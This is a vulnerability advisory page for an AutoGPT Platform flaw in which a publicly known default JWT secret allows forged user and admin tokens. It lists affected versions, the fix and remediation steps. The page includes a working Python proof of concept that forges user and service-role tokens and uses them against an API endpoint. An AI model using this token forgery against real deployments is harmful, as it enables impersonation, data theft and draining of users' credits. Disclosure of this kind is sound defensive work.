CVE Watchtower

CVE-2026-130169autogpt-platform-beta >= 0.6.26, Improper Authentication

NVD

Vulnerability Summary

AutoGPT Platform shipped with a publicly known, hardcoded default JWT verification key (`your-super-secret-jwt-token-with-at-least-32-characters-long`) in both `backend/.env.default` and `autogpt_platform/.env.default`. Because HS256 is symmetric, anyone who knew the secret could forge valid JWTs for any user or for the admin role, bypassing all authentication and authorization without any user interaction. Upgrade to v0.8.0 or later. Impact On a self-hosted deployment that kept the default value, an unauthenticated attacker could impersonate any user, reading and changing their agent graphs, execution history, stored credentials and workspace files, and forge admin tokens for every admin-only route, including credit management and rate limits. They could also run agents billed to any user and drain users' credit balances. Fix Fixed in AutoGPT Platform v0.8.0. A new install no longer ships a token-verification key already filled in, and a token signed with a shared secret is rejected outright. Fix: #14519. Fix evidence: 18fde1b9656c. Upgrade to v0.8.0 or later. Version numbers in this advisory identify Platform releases, whose Git tags are `autogpt-platform-beta-v<VERSION>`, rather than the backend Python package version. Workarounds None. --- Details `autogpt_libs/autogpt_libs/auth/config.py` loaded the JWT key from the environment: ```python self.JWT_VERIFY_KEY: str = os.getenv( "JWT_VERIFY_KEY", os.getenv("SUPABASE_JWT_SECRET", "") ).strip() self.JWT_ALGORITHM: str = os.getenv("JWT_SIGN_ALGORITHM", "HS256").strip() ``` `.env.default` shipped with: ``` JWT_VERIFY_KEY=your-super-secret-jwt-token-with-at-least-32-characters-long ``` Token verification in `autogpt_libs/autogpt_libs/auth/jwt_utils.py`: ```python payload = jwt.decode( token, settings.JWT_VERIFY_KEY, algorithms=[settings.JWT_ALGORITHM], audience="authenticated", ) if admin_only and jwt_payload["role"] != "admin": raise HTTPException(status_code=403, detail="Admin access required") ``` With HS256, anyone who knew `JWT_VERIFY_KEY` could sign tokens with arbitrary `sub`, `role` and `email` claims, and a self-hosted deployment that copied `.env.default` to `.env` without changing this value used the publicly known secret. This is supported platform code. The report was made against `94ebce7f633f`. The single-container Docker image, published from v0.7.1, ships no default JWT key and uses one only during a legacy-auth migration the operator configures, so it is not listed as affected. Proof of concept ```python import jwt, time, uuid SECRET = "your-super-secret-jwt-token-with-at-least-32-characters-long" Forge a regular user token user_token = jwt.encode({ "sub": str(uuid.uuid4()), "email": "attacker@evil.com", "role": "authenticated", "aud": "authenticated", "iat": int(time.time()), "exp": int(time.time()) + 3600, }, SECRET, algorithm="HS256") Forge an admin token admin_token = jwt.encode({ "sub": str(uuid.uuid4()), "role": "service_role", "aud": "authenticated", "iat": int(time.time()), "exp": int(time.time()) + 3600, }, SECRET, algorithm="HS256") Use against any authenticated endpoint import requests r = requests.get("http://localhost:8006/api/v1/me", headers={"Authorization": f"Bearer {user_token}"}) → 200 OK with arbitrary user data ``` Full reproduction: `python3 poc_ts_ag3_001.py --target http://localhost:8006` reproduce.zip References - Fix commit `18fde1b965` (#14519, in v0.8.0) Credit Sunwoo Lee, Korea Institute of Energy Technology (KENTECH) Daeyoung Kang, Korea Institute of Energy Technology (KENTECH) Haeryong Park, Korea Internet & Security Agency (KISA) Hyuk Lim, Korea Institute of Energy Technology (KENTECH) Seunghyun Yoon, Korea Institute of Energy Technology (KENTECH) Timeline Reported 2026-05-16 · Triaged 2026-09-07 · Fixed 2026-09-16 · Published 2026-10-05.
Severity Level
CRITICAL(10.0)
Published Date
Oct 5, 2026
Last Modified
Oct 5, 2026
Exploitation Status
Public exploit available
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
Root Weakness (CWE)
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.
See the MITRE CWE entry for the full definition of this weakness.
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.
CVSS v3.1 Base Metrics — Score 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • autogpt-platform-beta >= 0.6.26, < 0.8.0
Patched Versions
  • autogpt-platform-beta 0.8.0

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run autogpt-platform-beta >= 0.6.26, and which version.
  2. Update to a patched version listed above, then confirm the new version.
  3. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Oct 5, 2026Published
  • Oct 5, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new autogpt-platform-beta >= 0.6.26, CVEsYou are reading CVE-2026-130169. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

Data last checked: Nov 19, 2026 05:01 UTC